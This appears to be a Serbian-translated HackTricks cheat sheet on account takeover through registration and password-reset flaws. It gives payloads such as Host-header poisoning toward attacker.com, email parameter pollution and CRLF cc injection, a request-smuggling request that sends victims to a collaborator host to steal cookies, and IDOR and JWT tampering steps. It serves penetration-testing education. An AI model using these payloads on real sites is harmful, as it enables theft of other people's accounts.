# Registracione i preuzimanje ranjivosti
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
***
## Preuzimanje registracije
### Duplikat registracije
* Pokušajte generisati koristeći već postojeće korisničko ime
* Proverite variranje email-a:
* velika slova
* \+1@
* dodajte tačku u email
* specijalni karakteri u imenu email-a (%00, %09, %20)
* Stavite crne karaktere posle email-a: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Enumeracija korisničkog imena
Proverite da li možete da saznate kada je korisničko ime već registrovano unutar aplikacije.
### Politika lozinke
Prilikom kreiranja korisnika proverite politiku lozinke (proverite da li možete koristiti slabe lozinke).\
U tom slučaju možete pokušati da probate lozinke metodom brute force.
### SQL Injection
[**Proverite ovu stranicu** ](sql-injection/#insert-statement)da biste saznali kako pokušati preuzimanje naloga ili izvlačenje informacija putem **SQL Injection**-a u formama za registraciju.
### Oauth preuzimanja
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML ranjivosti
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Promena email-a
Kada se registrujete pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne emaile.
### Dodatne provere
* Proverite da li možete koristiti **privremene emaile**
* **Dugačka** **lozinka** (>200) dovodi do **DoS**-a
* **Proverite ograničenja brzine pri kreiranju naloga**
* Koristite username@**burp\_collab**.net i analizirajte **callback**
## **Preuzimanje resetovanja lozinke**
### Curenje tokena za resetovanje lozinke putem referera
1. Zatražite resetovanje lozinke na vašu email adresu
2. Kliknite na link za resetovanje lozinke
3. Ne menjajte lozinku
4. Kliknite na bilo koje web stranice trećih lica (npr: Facebook, twitter)
5. Presretnite zahtev u Burp Suite proxy-u
6. Proverite da li referer zaglavlje otkriva token za resetovanje lozinke.
### Trovanje resetovanja lozinke
1. Presretnite zahtev za resetovanje lozinke u Burp Suite-u
2. Dodajte ili izmenite sledeće zaglavlja u Burp Suite-u : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prosledite zahtev sa izmenjenim zaglavljem\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Potražite URL za resetovanje lozinke na osnovu _host zaglavlja_ kao što je : `https://attacker.com/reset-password.php?token=TOKEN`
### Resetovanje lozinke putem parametra email-a
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR na API parametrima
1. Napadač mora da se prijavi sa svojim nalogom i da ode na opciju **Promeni lozinku**.
2. Pokrenite Burp Suite i presretnite zahtev.
3. Pošaljite ga na karticu za ponavljanje i izmenite parametre: ID korisnika/e-pošta\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Slab token za resetovanje lozinke
Token za resetovanje lozinke treba da bude generisan nasumično i jedinstven svaki put.\
Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generisanja je slab i može biti pogodan. Sledeće promenljive mogu biti korišćene od strane algoritma.
* Vremenska oznaka
* ID korisnika
* E-pošta korisnika
* Ime i prezime
* Datum rođenja
* Kriptografija
* Samo brojevi
* Mali niz tokena (karakteri između \[A-Z,a-z,0-9])
* Ponovna upotreba tokena
* Datum isteka tokena
### Otkrivanje tokena za resetovanje lozinke
1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za određenu e-poštu npr: test@mail.com
2. Inspekcionišite odgovor servera i proverite `resetToken`
3. Zatim koristite token u URL-u kao što je `https://primer.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Resetovanje lozinke putem kolizije korisničkog imena
1. Registrujte se na sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa belinama ubačenim pre i/ili posle korisničkog imena. npr: `"admin "`
2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.
3. Koristite token poslat na vašu e-poštu i resetujte lozinku žrtve.
4. Povežite se sa nalogom žrtve sa novom lozinkom.
Platforma CTFd je bila ranjiva na ovaj napad.\
Vidi: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Preuzimanje naloga putem Cross Site Scripting-a
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na nadređeni domen: `*.domain.com`
2. Procureni trenutni **kolačići sesije**
3. Autentifikujte se kao korisnik koristeći kolačić
### Preuzimanje naloga putem HTTP zahteva Smuggling-a
1\. Koristite **smuggler** da otkrijete tip HTTP zahteva Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Kreirajte zahtev koji će prebrisati `POST / HTTP/1.1` sa sledećim podacima:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` sa ciljem preusmeravanja žrtava na burpcollab i krađe njihovih kolačića\
3\. Konačan zahtev bi mogao izgledati ovako
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hakerone izveštaji koji iskorišćavaju ovaj bag\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Preuzimanje naloga putem CSRF
1. Kreirajte payload za CSRF, npr. "HTML obrazac sa automatskim slanjem za promenu lozinke"
2. Pošaljite payload
### Preuzimanje naloga putem JWT
JSON Web Token može se koristiti za autentifikaciju korisnika.
* Izmenite JWT sa drugim ID-jem korisnika / Email-om
* Proverite da li postoji slab potpis JWT-a
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Reference
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.